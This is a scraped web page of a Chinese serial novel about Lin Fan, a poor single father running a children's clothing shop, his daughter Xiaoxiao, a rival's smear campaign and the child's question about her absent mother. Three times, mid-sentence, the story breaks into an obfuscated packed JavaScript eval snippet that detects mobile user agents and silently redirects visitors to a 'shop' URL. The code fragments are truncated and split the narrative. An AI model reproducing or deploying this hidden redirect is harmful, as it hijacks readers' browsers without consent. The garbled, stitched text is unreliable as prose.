l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607515|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娃娃:超市里的洋娃娃有贵的,120多的会唱歌、会眨眼,但他看了好久,最后选了35块的那个——
娃娃的头发是金黄色的塑料丝,裙子是粉色的廉价纱质,脸上的油漆在左脸颊有点掉,但笑笑看到的瞬间,眼睛就亮了,伸出小手要抱。她抱着娃娃,用小奶音说:
“娃娃,漂漂。”
林凡坐在客厅的旧沙发上,把女儿抱进怀里,看着她用小手摸娃娃的纱裙,眼眶有点红:“以后爸爸给笑笑做更漂亮的裙子,比娃娃的还漂漂,好不好?”
那天晚上,笑笑抱着娃娃睡着了,小胳膊紧紧搂着娃娃的腰,嘴角还带着笑。林凡坐在床边,借着手机的光,在之前上班剩下的笔记本上画起了童装设计图——
他没学过设计,画得歪歪扭扭,一个裙子的裙摆画了五遍才满意,但每个图案旁边,都用彩色铅笔写着“笑笑喜欢”:
小兔子图案旁边写着“笑笑喜欢兔子”,小花朵图案旁边写着“笑笑昨天指了花”。
有天降温,最低温度到了零下2度,笑笑早上起来就有点蔫,摸额头有点烫。
林凡先给她用温水擦手心、脚心物理降温,擦了半小时,体温还是没降下来,只好抱着她去社区医院。
医生说需要输液,开了药和输液费,一共238元。他掏遍了所有口袋,只找出76块钱,都是零钱,急得在诊室门口直转圈。
正好王猛打电话来问店里的情况,听说笑笑发烧了,立刻说:“你在医院等着,我马上过去。”
王猛赶来的时候,还带了个保温袋,里面装着热粥和煮鸡蛋:“给孩子熬的小米粥,你也没吃早饭吧,先垫垫。”
他垫付了医药费,看着林凡抱着笑笑输液,叹口气说:
“店里这个月的利润,我多分你点,你别总苦着自己,孩子也需要营养。”
林凡摇摇头,说:“不用,咱们当初说好平分的,我再想想别的办法,比如多攒点纸箱卖钱,周末再去批发市场看看有没有便宜的菜,能省点是点。”
傍晚的时候,笑笑的烧退了,又开始抱着洋娃娃在地毯上玩,偶尔还会把娃娃递到林凡面前,说“爸爸,抱”。
林凡看着女儿的笑脸,想起白天医生说的“孩子抵抗力弱,要多补充蛋白质,比如鸡蛋、牛奶”,心里又酸又暖——
酸的是连每天给孩子煮个鸡蛋都要算计,暖的是笑笑精神好了,还能跟他笑。他知道,日子很难:要攒钱给笑笑买奶粉、交托儿所费用,还要凑小店的租金和进货钱;
有时候晚上关店后,他会坐在窗边算账,算着算着就有点慌,但只要看到笑笑喊“爸爸”,看到她抱着洋娃娃笑得开心,看到她把咬了一口的饼干递到他嘴边,他就觉得浑身都有劲儿。
这就像美国儿童心理学家布鲁斯??D??佩里在《早期依恋与儿童发展》中说的:
“对贫困家庭的孩子来说,父母的陪伴不是奢侈品,而是抵御困境的‘心理盾牌’——
一个温暖的拥抱、一次耐心的陪伴、一句温柔的回应,比任何物质都更能帮孩子建立安全感,让他们在长大后有勇气面对生活的难。”
现在,林凡的童装店里,依然堆着高高的旧货箱,柜台还是掉漆的木制柜台——是他从旧货市场花200元买的,边角用铁皮包了一下,防止磨坏;
但角落里的小地毯上,多了笑笑的新布偶——是王猛出差时买的,说“给孩子当礼物”;样品架上,挂着他给笑笑改的小裙子——
用店里卖剩下的碎花布,自己缝的,裙摆有点歪,但笑笑很喜欢,每天都要穿;账本的第一页,用钢笔写着“笑笑的开支”,第一条就是“奶粉钱:
每月600元(4罐,150元/罐)”,下面还画了个小笑脸。每天晚上关店后,林凡都会抱着笑笑,坐在窗边的小凳子上看星星——
老厂区的光污染少,能看到好多星星。笑笑会指着星星说“爸爸,亮”,林凡会告诉她:“那是北极星,不管走多远,看到它就能找到回家的路。”
虽然日子清贫,但父女俩的笑声,总能透过老旧的窗户,飘进安静的小区里,像冬日里的小太阳,温暖又有力量。
第五十章:女儿的温暖
家庭的温暖和女儿的笑脸,成了林凡在纷繁复杂的生意场中最坚实的后盾和最有效的清醒剂。上个月市区那家开了三年的童装店,排挤手段愈发隐晦且步步紧逼:
先是托批发市场的老供货商老李悄悄把每件童装的进货价涨了五毛钱——林凡后来私下找老李时,对方红着脸搓着手,指节上还沾着点布料的棉絮,声音压得极低:
“不是我要为难你,对面张老板放了话,我要是不涨,以后他就不跟我拿货了”。
这五毛钱看似不多,却让他原本每件一块二的利润直接压缩了近15%,相当于每天要多卖30件衣服才能补上差额;
接着对方又找街边摆摊的水果贩、修鞋匠散布谣言,林凡好几次路过修鞋摊,都听见老鞋匠一边给皮鞋钉掌,一边跟顾客嘀咕:
“林凡家的货是二手翻新,上次有个老太太说,孙子穿了身上痒,布料里藏着虱子呢”;更气人的是,张老板家的售货员趁顾客试衣服时,会故意把声音放得不大不小:
“县城来的货哪有市区正经?你看这针脚歪的,线都露在外面,穿两天保准开线”。那段时间,市区柜台原本每天能接待50多位顾客,连续三天直接降到40人以下,
有位常来买衣服的张阿姨还特意拉着林凡的胳膊,手里攥着件没拆吊牌的小外套:“小林,我家孙子穿你家衣服一直挺好,怎么有人说你家货是翻新的?你可别骗我们这些老主顾啊”。
那天傍晚,林凡在店铺小隔间里对着泛黄的手写账本发愁。
隔间里没装电灯,只悬着一盏昏黄的充电台灯,灯光把账本上的字迹照得发虚,红笔圈着的三天销售额像三颗沉甸甸的石头:
第一天320元,第二天280元,第三天只剩250元,比平时少了近三分之一。账本边缘被他翻得起了毛边,指尖无意识地抠着折痕,指甲缝里还嵌着白天整理布料时沾上的棉绒。
门帘突然被“哗啦”一声撩开,带着股室外的寒气,王猛抱着裹着小棉袄的笑笑走进来,小家伙的棉袄领口沾着点饭粒,袖口磨出了圈小毛边,手里举着张皱巴巴的蜡笔画,奶声奶气地喊:
“爸爸看!小太阳!”。
林凡低头一看,画纸上用断了头的红色蜡笔涂了个歪圆,红色边缘还晕着点蓝色——
大概是小孩拿错了笔,周围扎着一圈歪歪扭扭的黄色“花瓣”,竟是朵不成形的向日葵,圆子旁边还用铅笔描了两个扭扭捏捏的字,左边像“爸”,右边也像“爸”,合起来勉强能认出是“爸爸”。
他蹲下来,膝盖在水泥地上磕得轻响,笑笑立刻伸出小胳膊搂住他的脖子,小手上还带着刚吃完烤红薯的甜香,亮晶晶的眼睛里映着他的脸,连他眉间的褶皱都看得清清楚楚。
原本焦躁得像乱鼓一样的心跳瞬间平稳下来,脑子里的混沌也慢慢散开:他拼尽全力跑批发市场、守柜台,不是为了跟张老板争高低、比输赢;
而是为了让笑笑将来能读上县城最好的小学,不用像他年轻时那样,攥着几块钱在零下几度的批发市场里挨冻受累,连口热馒头都舍不得买——
那时候他常躲在市场角落,啃着凉硬的馒头,看着别家孩子穿着新棉袄跑过,心里酸得发紧。
与此同时,笑笑的成长也在悄然加速,每一个变化都像藏在日子褶皱里的小惊喜,轻轻一翻就露出来。
她的语言能力从上个月只会说“爸爸抱”“要糖糖”这种短句子,变成了能完整说出“爸爸今天早点回,陪笑笑搭木头好不好?
搭个大房子,爸爸住、笑笑住,还要给小黑(家里的straycat)留个小窗户”;路过店里的货架时,她会踮着脚尖扒着柜边,
小手指着最上层印着黑猫警长图案的笔记本,指甲盖还带着点粉色的指甲油——是前几天张阿姨给她涂的,仰着头问:
“阿姨,这个本本能画小兔子吗?我想画小白兔,有长耳朵、短尾巴,还要画胡萝卜,画好了给爸爸,爸爸看了就不发愁了”。
最让林凡暖心的是,她开始有了模糊的“美”的意识——那件绣着向日葵的“笑笑牌”小褂子,是林凡特意找巷口的张裁缝做的。
前阵子带笑笑去公园,她指着路边金灿灿的向日葵,小手在风里挥着:“像小太阳,暖暖的,照得笑笑不冷”,
林凡当时就记在了心里,第二天特意去布店挑了块新疆长绒棉,指尖摸着布料软乎乎的,像云朵一样,又找张裁缝说:
“麻烦您在胸口绣朵小向日葵,别太大,孩子穿着舒服,线也用软点的”。张裁缝当时笑着打趣,手里的针线还没停:
“你这当爹的,比当妈的还细心,我家小子小时候,我都没这么上心”。
如今每次穿这件褂子,笑笑都会跑到店里的小圆镜前转圈圈,转得小棉袄都鼓起来,像只小皮球,然后拉着林凡的手晃:“笑笑衣服,漂亮!爸爸做的,爱爸爸!”。
有次林凡忙着核对进货的布票和账本,笔尖在纸上划得“沙沙”响,手腕都酸了,笑笑还从口袋里掏出张黑猫警长贴纸——
边缘有点卷,是她攒了三天零花钱买的,踮着脚往账本封面上贴,贴歪了又撕下来,小眉头皱着,嘴里还嘟囔“不对不对”,最后歪歪扭扭地贴在“销售额”三个字旁边,说:
“给爸爸的本本也变漂亮,爸爸就不皱眉头了”。看着账本上咧嘴笑的黑猫警长,他原本紧绷的肩膀瞬间就松了下来,连胳膊都觉得不酸了,指尖轻轻碰了碰贴纸,心里软得像化了的糖。
女儿的每一点变化,都像一把温柔的尺子,度量着林凡奋斗的意义,也提醒着他勿忘初心。
之前为了把市区的柜台撑起来,他连续半个月每天天不亮就骑着二八大杠去20公里外的批发市场进货。
凌晨四点的路上还结着冰碴子,寒风灌进领口像小刀子刮脸,他裹着厚棉袄,手套里的手冻得发麻,却不敢停——怕去晚了好布料被抢光。
车把上裹着块旧毛巾,是妻子缝的,有点粗糙的暖意,车后座的货包用麻绳捆得紧紧的,硌得后背有点疼,往往深夜十一点才回家,钥匙**锁孔时都能听见自己的心跳声。
直到有天推开家门,看到笑笑坐在门口的小板凳上,怀里抱着他去年冬天穿的旧棉鞋——鞋尖磨破了,里面还塞着她的小绒毯,绒毯上印着小草莓,带着股淡淡的奶香味。
小家伙看到他回来,眼睛一下子亮了,立刻站起来,把棉鞋往他手里递:“张奶奶说爸爸脚冷,笑笑给爸爸暖鞋,暖了好久呢”。
林凡接过棉鞋,指尖触到里面暖暖的温度,像电流一样传到心口,鼻子突然一酸,眼泪差点掉下来——
他才猛然意识到:生意做得再大,赚的钱再多,也不能忘了回家的路,不能错过女儿成长的每一个瞬间。
这份警醒也悄悄影响了他的经营心思:他在县城店铺的角落摆了张刷着蓝漆的小木桌,桌角有点掉漆,是他从旧货市场淘来的,桌上放了袋彩色积木——
有方块、圆柱、三角,都是他特意去玩具店挑的无毒塑料款,摸起来光滑不硌手,还放了几本翻得有点卷边的连环画,《小猫钓鱼》《小熊请客》《三只小猪》;
书页上还沾着点笑笑的口水印,都是她喜欢看的,让带孩子来的家长能安心挑衣服。有次一位妈妈带着三岁的儿子来买连体衣,孩子本来哭闹着要走,小手扯着妈妈的衣角;
眼泪还挂在脸上,看到积木后立刻安静下来,坐在小桌旁搭房子,搭得歪歪扭扭还拍手笑,那位妈妈笑着说:“你这儿想得真周到,我在别家买衣服,孩子总闹得我没法挑,下次还来你这儿”;
市区柜台则添了些印着葫芦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607516|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娃、黑猫警长的铅笔和橡皮,每支铅笔才卖五毛钱,橡皮卖三毛钱,笔杆上的图案印得鲜亮,林凡还特意试了试,铅笔芯不容易断。
没想到摆上柜台第一个月就卖了120多件——葫芦娃的卖了72件,黑猫警长的卖了51件,有个小男孩拉着妈妈的手,小脸蛋涨得通红:
“我就要林叔叔家的铅笔,跟我书包上的葫芦娃一样,能打败妖怪!”,成了小惊喜般的销售增长点。
月底盘账时,看着账本上密密麻麻的数字,林凡心里满是平静的满足:
县城店铺原本预计月销售额1800元,实际卖了2560元,其中连体衣卖得最好,83件,每件25元左右,占了销售额的一半还多;
市区柜台更超出预期,从预计的2200元冲到了3120元,除了童装,那些小文具就贡献了300多块,老顾客回头买的也占了三成。
他指尖轻轻划过账本上用蓝笔勾的增长线,墨水有点晕开,是他白天太急没等干。里屋突然传来笑笑模糊的呓语,
“爸爸……糖……”,他掀帘进去,发现女儿蜷缩在他的旧棉被里,被子上还带着他的烟草味,小手里还攥着块没吃完的苹果味水果硬糖,糖纸有点皱,却攥得紧紧的,像握着宝贝。
他轻轻把账本放在床头柜上,账本边缘碰到了台灯座,发出轻响,他立刻屏住呼吸,小心翼翼地把女儿抱到她的小床上,给她掖好印着小花朵图案的被角——
这床被单还是妻子怀孕时绣的,那时候她孕吐得厉害,却每天坚持绣几针,上面的小花朵歪歪扭扭,有的还少了片花瓣,却透着说不出的温暖。
窗外的月光透过窗棂洒进来,刚好落在笑笑恬静的睡颜上,长长的睫毛像两把小扇子,偶尔轻轻颤动一下,像是在做甜甜的梦,嘴角还微微翘着,大概梦到吃糖了。
生意场上的亏盈得失,固然能衡量买卖的好坏,但对林凡来说,女儿健康快乐的成长,才是衡量他此生成败的唯一标准。
就像上周,市区那家童装店的张老板特意绕到林凡的柜台找王姐——王姐在林凡这儿干了两年,手脚麻利,扎着个马尾辫,说话总是笑着,还特别会跟顾客打交道。
张老板拉着王姐的胳膊,声音压得低低的,带着点诱惑:“跟**吧,每月给你开800块工资,比在这儿多一倍,还不用干杂活”。
王姐却轻轻拨开他的手,拿起旁边的抹布擦了擦柜台,声音不大却很坚定:“跟着林哥干心里踏实,他进布料都想着给闺女挑软和的,上次我家孩子发烧,他还给我批了假,送了退烧药,你能做到吗?
而且他卖的衣服,都是自己先摸过布料、看过针脚的,有次发现一批布料有点硬,宁愿自己亏了也不卖,卖给顾客的都是放心货,我卖着也舒心”。
林凡当时在隔间里算账,笔尖顿了顿,听到这话,心里暖烘烘的,像揣了个小太阳。
他知道,前路还会有更多难事儿——
可能是下个月批发市场的棉布突然涨3块钱一米,让成本又增加不少,他得连夜算账改定价;
也可能是街角又开了家新的童装摊,听说价格压得很低,会抢生意,他得想着怎么把服务做得更好;
还可能遇到下雨天,衣服晒不干,堆在仓库里发潮,影响进货。
但只要想到家里有笑笑的笑脸等着他——
早上出门时,笑笑会把小太阳贴纸贴在他的外套口袋上,小手拍了又拍:
晚上回家时,笑笑会跑过来抱住他的腿,小脑袋在他裤子上蹭蹭:“爸爸今天有没有想笑笑?笑笑今天画了好多小兔子哦”——
他就永远有往前闯的力气。
这把名为“笑笑”的成长尺,会一直刻在他心里,每一道刻度都写着温暖,提醒他每一步都要走得踏实、坚定,不辜负这份沉甸甸的幸福。
第五十一章:妈妈去哪里了?
夏日的午后,日头正烈得晃眼,老城区巷口那棵栽了三十年的梧桐树撑开浓绿的伞,蝉鸣就在层层叠叠的梧桐叶间打转。
老蝉拖着沙哑的长调,像磨过粗砂纸般滞涩,新蝉掺着细弱的嘶鸣,嫩得像刚抽芽的狗尾巴草,一老一少的声响缠在巴掌大的梧桐叶上。
叶边被晒得卷了浅黄的边,叶脉上还沾着清晨露水蒸发后留下的细小白痕,风一吹,叶子“哗啦”响,连蝉鸣也跟着晃,飘进巷子里王奶奶卖冰粉的吆喝声里:
“冰粉——加红糖、撒花生碎咯——”。
阳光透过“笑笑宝贝屋”临街的玻璃门,门上贴着褪色的卡通贴纸(是去年笑笑用蜡笔画的小兔子,耳朵涂成了粉紫色,边角被穿堂风刮得卷了边,林凡几次想换;
笑笑都攥着他衣角说“要妈妈回来看到”,在浅棕色木质地板上投下细碎的光斑。光斑随着叶影晃,像撒了把会动的碎金子,落在地板的木纹里,连木纹都显得暖融融的。
这家开了三年的小店,货架从左到右码得整整齐齐,连最上层的商品都摆得没有一丝歪斜:最显眼的是卡通贴纸笔记本,浅粉色封面上的浅棕小熊怀里抱着颗红樱桃;
有本笔记本的小熊耳朵沾了点米白色透明胶——上次三年级的朵朵来买,不小心撕坏了角,林凡特意找了同色的胶补,怕显眼,还在胶边轻轻蹭了点蜡,让边缘更平滑;
中间层是裹着彩虹糖纸的铅笔,红、黄、蓝、绿的糖纸层层叠叠,阳光一照就撒下细碎的彩光,有的笔尾系着彩色棉绳,绳上还串了颗小塑料珠子,林凡说
“这样小朋友攥着不滑手”,上次隔壁班乐乐妈来买,还笑着反馈“我家乐乐现在写字都攥着珠子,比以前认真多了”;
天花板悬着三盏米色小灯笼,布面吸了梅雨季的潮气,摸起来软乎乎的,印着的浅淡星星纹被风拂得“沙沙”响——
那是去年笑笑说“想摸星星”,林凡踩着凳子挂的,特意调得比柜台矮半头,“这样宝贝踮脚就能碰到”。
店里客人不多,林凡正蹲在柜台后整理新到的水彩笔。24色的水彩笔装在透明笔盒里,每支笔帽上都印着不同的小动物——
兔子、小猫、小狗,都是附近实验小学孩子们最爱的款式。指腹蹭过小熊图案的植绒包装,软得像摸云朵,他特意把压了角的包装纸轻轻捋平,指尖在褶皱处顿了顿,像是怕碰疼了似的。
上周还有个扎高马尾的小姑娘,发梢别着粉色小卡子,踮脚扒着柜台喊:
“林叔叔,粉色的能画出桃花吗?我想画给妈妈!”他记着这话,特意多进了两箱,想着“说不定还有孩子想画花给妈妈”。
柜台后的小仓库里,王猛正踮着脚够顶层的作业本,牛仔裤后兜露出半截HB铅笔,笔杆上还留着他咬过的牙印——他
算错数时总爱咬笔。32开的牛皮纸作业本摞得老高,每本的横线都是浅灰色,适合低年级孩子写字,他每数一本就轻轻敲下桌面:
“一、二、三……”牛皮纸的糙气混着淡墨水味飘出来,还带点仓库里老木头的灰尘味。上周进的50本作业本,一周就卖了30本,他偶尔探头,额前碎发沾了纸絮,喊:
“凡哥,算术本还剩二十本,要不要补?”
林凡应着“再补五十”,目光不自觉飘向角落——笑笑正坐在专属的蓝色小垫子上,垫子是她妈妈生前用晴纶线织的,洗了快两年还是软乎乎的;
兔子图案的眼睛是黑色塑料纽扣,一颗松了线,晃悠悠垂着(那是笑笑总揪着玩的地方,林凡之前想缝,笑笑不让,说“这样兔子眼睛会眨呀眨”)。
笑笑抱着一套12块的彩虹色木质积木,积木有长方形、正方形、三角形,颜色是鲜亮的红、黄、蓝、绿。
小手捏着积木块,指缝里沾了点木刺也没在意——上次她扎了木刺,林凡蹲在灯下挑了半天,之后每次玩积木前,他都会先把积木摸一遍,怕有刺扎到她。
她把长方体积木竖起来当墙,又往上叠正方体,叠到第三块时“哗啦”塌了,小嘴抿了抿,又重新捡起来,肉乎乎的脸颊鼓着,像含了颗没化的奶糖。
嘴里咿咿呀呀编故事,声音黏糊糊带奶气:“小房子…给爸爸放书…笑笑的积木…还要有小花…妈妈回来能看到…”
积木块偶尔掉在地上,她会立刻爬过去捡,额前碎发垂下来挡眼睛,也只是胡乱用手背抹一下——那碎发是林凡昨天给她剪的,剪得有点歪,笑笑对着镜子说“像小蘑菇”,还乐了半天。
这时,店门“叮铃”一声响,风铃的脆响像滴进温水里,打断了店里的宁静。
一对年轻夫妻带着个小女孩走进来:妈妈穿浅蓝连衣裙,裙摆是雪纺的,扫过门槛时,带起阵淡淡的栀子花香——
是她领口布艺小雏菊胸针旁喷的香氛,那胸针是小女孩去年母亲节用彩纸做的,边缘还粘着亮晶晶的贴纸;
爸爸背着印着佩奇的卡通背包,背包里装着小女孩的粉色凯蒂猫水壶、湿巾,还有一双备用的白袜子,拉链头挂着小铃铛,是小女孩去年生日爸爸送的,走一步响一下,“叮铃叮铃”的;
中间的小女孩扎着两个羊角辫,辫梢系着粉***结,丝带长了点,垂在肩头晃。
淡粉色公主裙缀着镂空蕾丝花边,里面藏着银色细碎小亮片,跑起来亮片闪得像撒了星星,裙摆绽开,巷口路过的张阿姨都忍不住回头夸:“这小闺女,像朵刚开的桃花!”
她一手攥着爸爸的食指(爸爸指节圆圆的,指甲盖涂着透明护甲油,是妈妈上周给他涂的),一手勾着妈妈的衣角;
蹦蹦跳跳直奔玩具区,眼睛亮得像浸了星光,连呼吸都带着雀跃的轻喘,小胸脯一鼓一鼓的。
“妈妈,你看!那个穿纱裙的洋娃娃!”
她停在玩具架前,踮脚指着顶层,声音脆得像咬了口刚摘的脆桃,还带着点奶气。
那是个金发碧眼的洋娃娃:
金发是哑光的,梳成两条小辫子,发梢系着白丝带,不容易打结;粉色纱裙叠了三层,裙摆边缘缝着仿珍珠,摸起来滑溜溜的,阳光照上去泛着柔润的光;
娃娃的浅棕色睫毛是手工粘的,轻轻一碰就颤——这是林凡上周刚进的新款,定价不算低,他当时摸着纱裙想:
笑笑生日是下个月,到时候买个草莓蛋糕,把娃娃放在蛋糕旁边,再插几根彩虹蜡烛,笑笑肯定会攥着我衣角喊“爸爸真好”,说不定还会亲我一下。
年轻妈妈温柔地弯下腰,长发垂下来拂过女儿脸颊,女儿下意识蹭了蹭,像小猫蹭人。
妈妈笑着把头发别到耳后,右手扶着女儿的肩,左手顺着她的手指往上看,声音软得像棉花:
“嗯,这个娃娃确实好看,睫毛还会动呢。
可是宝贝,家里书柜上已经有小兔子、小猫咪好几个娃娃啦,上次你还说要给小猫咪织小毛衣呢,咱们看看别的好不好?
比如那个会唱歌的小火车?小火车还能载着你的娃娃们去‘旅行’呢。”
“不嘛不嘛!”
小女孩撅着嘴,晃着妈妈的手臂撒娇,羊角辫上的蝴蝶结跟着甩,差点扫到妈妈的脸颊,
“这个娃娃有纱裙,我没有!我要给她梳头发,还要跟她睡觉,给她盖我的小被子!”
爸爸在一旁笑着上前,手掌带着点薄茧——
他是修车的,手上总沾着机油,回家都洗好几遍——揉在女儿的头发上,女儿舒服地眯起眼睛,像只满足的小猫咪。
他轻轻蹭掉女儿鼻尖的汗珠,刮了下她的鼻子:
“好好好,咱们小公主喜欢,那就买!不过说好啦,这个娃娃回家要自己收拾哦,不能再让妈妈帮你摆啦。”
说着掏出随身的黑色人造革钱包,打开时露出夹层里的照片:
那是一家三口上个月去游乐园拍的,照片上女儿举着棉花糖,笑得眼睛眯成缝,妈妈靠在爸爸肩上,也笑着。
他从钱包里数出几张十元纸币递过去,还朝妻子眨了眨眼;妻子无奈又好笑地摇摇头,指尖轻轻把蝴蝶结的丝带捋顺,又捏了捏两角:
“你呀,总是惯着她,上次买的小兔子娃娃还没玩呢。”
一家三口的互动像幅浸了暖糖的画——
妈妈走在后面,手里拎着女儿的小水壶,看着前面父女俩的背影,嘴角弯着,爸爸把女儿往上托了托,让她能抱着洋娃娃,女儿搂着洋娃娃,脸贴在爸爸颈窝里,声音飘过来:
“爸爸,娃娃会不会冷呀?外面太阳好大,可是店里好凉。”“不会呀,宝贝抱着它,就暖和了,就像爸爸抱着你一样。”
爸爸替她们拉开店门,小女孩还回头朝妈妈喊:“妈妈快跟上!我们回家给娃娃穿新衣服,我要给它做个粉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607517|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色小裙子!”
脚步声渐渐远了,风铃的余响细细的,像羽毛飘在空气里,店里还留着小女孩身上的甜香味,是她吃的草莓味糖果的味道。
可这寻常的温馨,却像颗小石子投进笑笑的心里,漾开一圈圈酸溜溜的涟漪。
她手里的积木“啪嗒”掉在地板上,滚了一圈停在林凡脚边,积木上还带着她的体温,暖暖的。
她的目光跟着积木转了转,又立刻挪回门口,乌溜溜的眼睛里映着门口的光影,连睫毛都没动一下,像被定住了似的。
刚才小女孩被妈妈抱在怀里的样子、阿姨用指尖擦她额头汗水的动作、叔叔笑着揉她头发的温柔,都像小钩子似的,勾着笑笑的目光挪不开,心里像被什么东西轻轻挠着,又酸又痒。
她下意识摸了摸自己的衣角——
身上是件洗得发白的浅蓝色小T恤,是邻居张阿姨去年送的,当时还大了一圈,林凡给她卷了两层袖口,现在穿在身上,袖口已经洗得发毛,下摆短了一截,露出一小截腰腹,她赶紧把衣角往下扯了扯,怕被人看到。
T恤的领口有个小破洞,是上次玩积木时勾到的,林凡用同色的线缝了个小太阳,不仔细看看不出来,他说“这样笑笑就有小太阳啦”。
笑笑看得入了神,连最喜欢的积木都忘了。
她记得爸爸也会抱她,上次她发烧到38.5度,晚上烧得睡不着,爸爸把她抱在怀里,用额头贴她的额头,手掌带着点凉,拍着她的背哄她睡觉,还哼着跑调的摇篮曲——
那是妈妈以前常唱的。爸爸也会给她擦汗,上次去公园喂鸽子,她追着鸽子跑得出汗,爸爸用柔软的纸巾轻轻擦她的脖子,还会吹吹,说“吹吹就不热啦,不疼哦”。
可每次她指着别的小朋友身边的妈妈问“那是谁”,爸爸都会揉着她的头说
“妈妈去很远的地方出差啦,要等笑笑长大才回来”,然后赶紧转移话题,从柜台底下摸颗水果糖塞给她——
是她最爱的橘子味。她那时候不懂“出差”是什么意思,只知道朵朵的妈妈、乐乐的妈妈,都不会“出差”,每天都会来接他们放学。
店里又恢复了安静,只有吊扇转着的“嗡嗡”声,叶片影子在地板上晃来晃去,投在笑笑的垫子上,像一个个黑色的圈,跟着风扇转。
笑笑慢慢低下头,小手无意识地揪着垫子上的兔耳朵绒毛,一根一根地扯,绒毛掉在她的腿上,她没看见,只觉得心里空落落的,像小时候弄丢的小熊玩偶——
那是妈妈买的,后来找不到了,她哭了好久,爸爸找遍了整个屋子都没找到,怎么找都找不到。
刚才小女孩抱着洋娃娃笑的样子,一直在她脑子里转,她突然想起幼儿园:
朵朵有妈妈送她上学,每天都穿漂亮的裙子,还会带草莓味的小蛋糕,香味离老远就能闻到,朵朵还分给她吃过一次,甜甜的;
乐乐有妈妈接他放学,妈妈力气很大,能把乐乐举得高高的转圈圈,乐乐的笑声能传遍整个幼儿园,连老师都笑。
那时候她只会站在旁边看,心里有点痒,想“要是我妈妈也在就好啦”,可今天看到这一家三口,心里好像破了个小洞,风往里面灌,凉凉的,还有点疼。
林凡整理完最后一盒水彩笔,直起身时腰“咔嗒”响了一声——
去年开店装修时,他搬货架闪了腰,现在蹲久了就会疼。他揉着腰,指尖按在腰上的穴位,轻轻按了按,目光扫过货架,又立刻落到角落里的笑笑身上。
往常这个时候,笑笑早该举着歪歪扭扭的积木房子跑过来,小手拉着他的裤腿喊
“爸爸你看,这是我们的家,有爸爸,有笑笑,还有妈妈的房间”,可今天她却安安静**着;
连小脚丫都没动一下,小脚丫上的粉色袜子还是昨天刚穿的,袜尖有个小草莓图案。
林凡心里“咯噔”一下,快步走过去,蹲下身时先捡起掉在地上的积木——
积木上还带着笑笑的体温,软软的——
然后才轻轻摸了摸笑笑的额头,指尖先碰了碰她的刘海,刘海被汗水打湿,贴在额头上,他轻轻把刘海捋到旁边。
指尖传来温热的触感,不像生病的样子:
“笑笑,怎么不玩积木啦?是不是困了?
爸爸带你去里屋睡会儿好不好?里屋有你喜欢的小熊枕头。”
第五十二章 妈妈会回来吗
笑笑慢慢抬起头,小嘴唇抿得紧紧的,原本亮晶晶的眼睛里蒙了一层水汽,像蒙了层雾。
看着林凡的时候,眼神里有疑惑,有羡慕,还有点委屈,像迷路的小猫,不知道该往哪里走,尾巴都耷拉着。
她盯着林凡的眼睛,小嘴抿了抿,
然后用小得几乎听不见的声音,怯生生地问:
“爸爸……妈妈呢?妈妈是不是真的在出差呀?”
林凡的手猛地顿住,像被冻住了似的,指尖的温度瞬间消失。
心脏像是被一只无形的手攥住,疼得他吸了口气,连呼吸都变得困难,喉咙里像堵了块棉花。
他一直逃避这个问题——
自从妻子去年夏天留下一张“对不起,我走了”的纸条离开后,他就把那张纸条折成小方块,塞进钱包最里层,每次整理钱包都会摸一摸,纸边已经被磨得发毛。
他每天早上六点就来开店,先把玻璃门擦得亮堂堂,再把笑笑的蓝色小垫子晒在门口的梧桐树下,让垫子沾点阳光的味道;
晚上关店后,会给笑笑讲《小熊的故事》,讲完还会哼妻子以前常唱的摇篮曲,虽然跑调,笑笑却总听得眯着眼睛;
周末带她去公园喂鸽子,他会提前买好小米,装在笑笑的小口袋里,看着女儿追着鸽子跑,心里又暖又酸——
他总怕自己做得不够好,怕那个空缺填不满。
他以为笑笑还小,不懂“妈妈”意味着什么,可今天,
女儿这句天真又直接的话,像一把小剪刀,
把他小心翼翼裹了一年的伤口,血淋淋地撕开了,连带着那些假装坚强的日子,都碎了。
“别的小朋友……都有妈妈……”
笑笑的声音带上了哭腔,眼圈以肉眼可见的速度红了,大颗大颗的泪珠在眼眶里打转,像两颗透明的玻璃珠,
“笑笑……也想要妈妈……妈妈去哪里了?是不是不喜欢笑笑了?是不是笑笑不乖,妈妈才走的?”
泪珠终于掉下来,砸在林凡的手背上,烫得他一颤,顺着手背往下流,凉丝丝的,却像烧红的针,扎在他的心上,密密麻麻地疼。
他张了张嘴,却发不出声音,喉咙像被什么堵住了,只能发出沙哑的气音。
只能伸手把笑笑紧紧抱在怀里,手臂收得紧紧的,好像怕她下一秒就消失似的,比上次她发烧时抱得还紧。
下巴抵着她的头顶,鼻尖传来女儿头发上淡淡的肥皂香——
那是他每天晚上给她洗头发时用的儿童香皂,柠檬味的,泡沫很多,笑笑总说“像小云朵”。
可此刻,这熟悉的味道却让他鼻子发酸,
眼泪差点掉下来,他赶紧眨了眨眼,把眼泪憋回去——他不能在女儿面前哭。
他拍着笑笑的背,一遍遍地说:
“笑笑乖,爸爸在呢,爸爸会一直陪着笑笑……笑笑最乖了,妈妈没有不喜欢笑笑……
